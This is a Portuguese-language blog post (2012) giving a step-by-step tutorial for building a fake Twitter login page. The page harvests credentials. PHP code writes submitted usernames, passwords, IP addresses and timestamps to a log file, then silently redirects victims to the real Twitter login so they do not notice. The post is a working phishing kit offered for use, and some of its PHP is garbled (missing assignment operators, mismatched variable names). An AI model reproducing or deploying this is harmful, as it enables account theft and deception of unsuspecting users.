quinta-feira, 5 de julho de 2012

Criando página fake


Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web PHP. Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.
"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.
No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".
Encontrei essa linha:
Código HTML:
    <span>Nome de usuário ou e-mail</span>
(sempre achei que o Twitter usava o recurso 'placeholder' do HTML5, mas a verdade é que eles simulam um placeholder (o porquê eu não sei))
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:
Código HTML:
<form action="acao" method="método">
<!-- código do formulário -->
</form>
Veja como se inicia ('<form') e como termina ('</form>') um formulário em HTML. Vamos usar o olhar crítico e tentar julgar que formulário corresponde ao login.
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:
Código HTML:
                <form action="https://twitter.com/sessions?phx=1" 
 class="js-signin signin" method="post">
  <fieldset class="textbox">
  <label class="username js-username">
    <span>Nome de usuário ou e-mail</span>
    
  <input class="js-username-field email-input" type="text" value="" 
name="session[username_or_email]" autocomplete="on"></label>
  <label class="password js-password">
    <span>Senha</span>
    
  <input class="js-password-field" type="password" value="" 
name="session[password]"></label>
</fieldset>

  <fieldset class="subchck">
  <label class="remember">
    <input type="checkbox" value="1" name="remember_me">
    <span>Lembrar-me</span>
  </label>
  <button type="submit" class="btn submit">Entrar</button>
</fieldset>

<input type="hidden" name="scribe_log">
<input type="hidden" name="redirect_after_login" value="">

  <div class="divider"></div>
  <p>
    <a class="forgot" href="http://twitter.com/account/resend_password"> 
Esqueceu sua senha?</a><br>
    <a class="mobile has-sms" href="http://twitter.com/account/complete"> 
Já utiliza o Twitter via mensagem de texto?</a>
  </p>
</form>
Agora vamos precisar mudar o "action" (ação) do formulário, já que ele está apontando para a página do Twitter.
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:
<form action="" class="js-signin signin" method="post">
Vamos verificar também o método (method) do formulário. Para logins, costuma-se sempre usar "post", mas também é possível usar "get" (embora os dados enviados sejam vistos pela URL).
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.
Código PHP:
<?php if(isset($_POST['session']['username_or_email']) 
AND isset($_POST['session']['password'])) {
Como já dissemos, os nomes dos campos são um vetor 'session' (vemos isso pelos sinais '[' e ']'). Por isso escrevemos daquele jeito.
Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
Código PHP:
$_POST['username_or_email']; // name="username_or_email"

$_POST['session']['username_or_email']; //

 name="session[username_or_email]" 
E outra: por que estamos utilizando '$_POST'? Lembra-se do método do formulário (post)?
E se o método fosse 'get', usaríamos '$_GET'.
Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:
Código PHP:
$login $_POST['session']['username_or_email'];  
$senha $_POST['session']['password']; $ip $_SERVER['REMOTE_ADDR'];  
$data date("d/m/Y H:i:s"); 
E então, vamos gravar estes dados no arquivo 'log.txt'.
Código PHP:
$abrir fopen("log.txt""a+"); // abrimos o arquivo para edição, 
adicionando novo conteúdo sem apagar o conteúdo anterior fwrite($abrir
 "\nLogin: $login
Senha: 
$senha
IP: 
$ip
Data: 
$data\n"); // adicionamos uma linha ao início e ao final, 

para separar melhor com 2 linhas cada registro ('\n' é o mesmo que um Enter) 
 fclose($abre); // fechamos o arquivo 
Vamos agora redirecionar o usuário à página de login verdadeira, mas mantendo os dados enviados pelo formulário, para que o usuário se logue normalmente, sem saber do que ocorreu.
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.
Código PHP:
header("Location: https://twitter.com/sessions?phx=1"TRUE307);
exit; 
// em seguida, vamos parar a execução // e fechar a condicional 'IF'
// aí abaixo, o código original da página fake:
?> <!DOCTYPE html>
(...) 
Agora nós devemos criar o arquivo 'log.txt' (você pode colocar outro nome ou mesmo outra pasta, mas terá que alterar no 'fopen' do código). Dependendo do servidor, é necessário dar CHMOD 777 (permissão total (escrita e leitura)) neste arquivo. Isto é feito pelo gerenciador de arquivos (como um cliente FTP).

hospedagem tem que ser com suporte php
ate mais.
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86